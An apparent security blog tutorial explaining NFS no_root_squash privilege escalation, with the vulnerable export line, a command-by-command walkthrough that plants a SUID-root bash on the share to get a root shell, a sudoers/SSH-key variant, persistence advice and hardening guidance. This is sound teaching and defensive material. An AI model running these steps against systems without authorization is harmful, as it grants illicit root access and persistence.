NFS no_root_squash Privilege Escalation

NFS no_root_squash Privilege Escalation - article cover image Linux Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

NFS (Network File System) shares files between hosts largely on trust: by default, the client presents a UID/GID for every file operation and the server honors it as-is, because NFSv3 (and NFSv4 without Kerberos) has no concept of authenticating the *user*, only the *client host*. To stop a client-side root user from trivially becoming server-side root, NFS servers apply “root squashing” by default: requests presenting UID 0 are remapped to an unprivileged account (typically nobody) before being honored. no_root_squash is the export option that disables this single safeguard — and once it’s disabled, root on any client that can mount the share is root on the server’s exported filesystem, full stop.

This turns a filesystem-sharing misconfiguration into a direct privilege escalation primitive: an attacker who controls a machine (their own laptop, a compromised VM, or a container where they already have root) can mount the share, create a SUID-root binary on it as root, then execute that binary from a *low-privileged* session on the NFS server itself. The file’s ownership and SUID bit were set by real root on the wire, so the server faithfully honors them locally, and the low-privileged local user gets a root shell. It requires no exploit, no memory corruption, and no local kernel bug — only a writable export with no_root_squash and network reachability to it.

Attack Prerequisites

The attack is entirely dependent on NFS export configuration and network reachability, plus a foothold with local root somewhere the attacker controls:

  • An NFS export with no_root_squash (and typically rw) reachable from an attacker-controlled host or VLAN.
  • Root access on some client that can mount the export — the attacker’s own machine, a VM they spin up, or a container/VM where root is already trivially attainable.
  • Network-layer access to the NFS server (TCP/UDP 2049 and, for NFSv3, the mountd/portmapper ports) — no export-side host allow-listing (or an allow-list the attacker’s IP satisfies), and no sec=krb5 requirement.
  • A separate foothold on the NFS server itself (even unprivileged) is needed to actually *execute* the planted SUID binary locally, unless the export is also mounted somewhere reachable to run it remotely.

How It Works

NFSv3 authorization is host-based (AUTH_SYS/AUTH_UNIX): the client simply states “I am UID 1000, GID 1000” (or UID 0) in each RPC call, and the server trusts that assertion completely unless a squash rule says otherwise. root_squash — the safe default on virtually every distribution — specifically intercepts the UID-0 case: any request claiming to be root is rewritten to anonuid/anongid (defaulting to the nobody/nogroup account) before the server’s local filesystem permission checks run. This means that even a fully root-controlled client is, from the server’s perspective, just another unprivileged user for anything under that export.

no_root_squash turns that translation off for a specific export. The server then performs its local permission checks using the UID the client asserted, unmodified — so a chown root:root and chmod 4755 issued by real root on the client are written to the underlying filesystem exactly as requested, with real root ownership and a real SUID bit, because the NFS server process (running as root itself) has no reason to doubt the client’s claim. The exported directory is, for that one export, indistinguishable from a local filesystem being operated on directly by root.

The SUID bit is what completes the escalation. A SUID-root binary, once it exists on the server’s local filesystem (the export is just a view into the same disk), executes with the effective UID of its *owner* — root — regardless of who invokes it, subject only to standard nosuid mount protections. If the export itself, or wherever it’s later accessed from, is mounted without the nosuid option (the historical default for many manual mounts), the planted binary runs as root the moment any local user on the server executes it.

Vulnerable Code / Configuration

The entire vulnerability is a single line in /etc/exports on the NFS server:

# /etc/exports  -- VULNERABLE: root client requests are honored as real root
/srv/nfs/share   10.0.0.0/24(rw,sync,no_root_squash,no_subtree_check)

# Applied with:
#   exportfs -ra
#   systemctl reload nfs-server
TEXT

The danger compounds when the export is also world-mountable (no client IP restriction) or the NFS client side mounts it without nosuid, which lets the planted SUID bit actually take effect on whichever host mounts it:

# Client-side mount that does NOT strip SUID bits from the remote export
# (default on many systems unless nosuid is explicitly specified)
mount -t nfs -o rw 10.0.0.5:/srv/nfs/share /mnt/target
# Compare to the safe form:
#   mount -t nfs -o rw,nosuid 10.0.0.5:/srv/nfs/share /mnt/target
Bash

Walkthrough / Exploitation

Enumerate exports from the attacker-controlled host to confirm the target and its options:

showmount -e 10.0.0.5
# Export list for 10.0.0.5:
# /srv/nfs/share 10.0.0.0/24
Bash

Mount the share as root on the attacker’s own machine (a local VM is ideal since it guarantees real root), then plant a SUID-root shell directly on the share:

mkdir -p /mnt/nfs && mount -t nfs -o rw 10.0.0.5:/srv/nfs/share /mnt/nfs
cp /bin/bash /mnt/nfs/rootshell
chmod 4755 /mnt/nfs/rootshell
chown root:root /mnt/nfs/rootshell
ls -l /mnt/nfs/rootshell
# -rwsr-xr-x 1 root root ... /mnt/nfs/rootshell
Bash

Because no_root_squash is set, the server wrote that file with real root ownership and the SUID bit intact — the chown/chmod were not rewritten to nobody. From a low-privileged session on the NFS server itself (or anywhere else the export is reachable without nosuid), simply execute the planted binary:

/srv/nfs/share/rootshell -p
id
# uid=0(root) gid=0(root) groups=0(root),1000(dave)
Bash

An equally effective variant, useful when a shell binary might be blocked, is to plant a SUID wrapper that adds an entry to /etc/sudoers or appends a root-owned SSH key rather than spawning a shell directly — the mechanism (write as root over NFS, execute locally) is identical.

Note: This works identically for NFSv4 unless the export additionally requires sec=krb5/krb5i/krb5p, which replaces host-based AUTH_SYS trust with real Kerberos user authentication and removes the “client asserts its own UID” trust model entirely. A plain sec=sys NFSv4 export (the common default) is just as vulnerable to no_root_squash as NFSv3.

Opsec: The mount and file writes are visible in the NFS server’s own RPC traffic and, if enabled, rpc.mountd/nfsd logging and auditd file-creation rules on the exported path; there is no stealthy way to write a SUID root file that avoids leaving that file itself as forensic evidence. Clean engagement practice is to remove the planted binary once root is confirmed and use the resulting shell to establish a less conspicuous persistence mechanism if required by the engagement scope.

Detection and Defense

Fixing this is a configuration change, not a patch, and should be applied to every export by default:

  • Never set no_root_squash unless there is a specific, documented, and narrowly-scoped reason; the default root_squash behavior should be left alone on every export.
  • Restrict exports by host/subnet in /etc/exports — an export reachable from 0.0.0.0/0 or an overly broad range multiplies the blast radius.
  • Prefer Kerberos-backed NFS (sec=krb5/krb5i/krb5p) so authorization is tied to real user credentials instead of client-asserted UIDs.
  • Mount NFS shares with nosuid (and noexec where feasible) on the client side so even a maliciously planted SUID bit cannot take effect.
  • Audit exports regularly: cat /etc/exports, exportfs -v, and showmount -e <host> from an untrusted vantage point to see exactly what an attacker would see.

Real-World Impact

no_root_squash misconfigurations are a recurring finding in internal penetration tests, HackTheBox/OSCP-style exam boxes, and CIS-benchmark-style Linux hardening audits precisely because the option is easy to add for convenience (shared build directories, shared home directories across a cluster) and easy to forget is present. It is one of the canonical network-file-share privilege escalation techniques catalogued in HackTricks and GTFOBins-adjacent local-privesc references, and remains common in environments running legacy NFSv3 shares between build/CI hosts.

Conclusion

no_root_squash removes the one safeguard that keeps NFS’s host-based trust model from being a direct root-to-root pipe between machines: with it disabled, any host that can mount the share and exercise real root locally can write SUID-root files straight onto the server’s disk. Root squashing should stay on by default, exports should be scoped tightly by host, and Kerberos-backed NFS should replace AUTH_SYS wherever the environment can support it.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL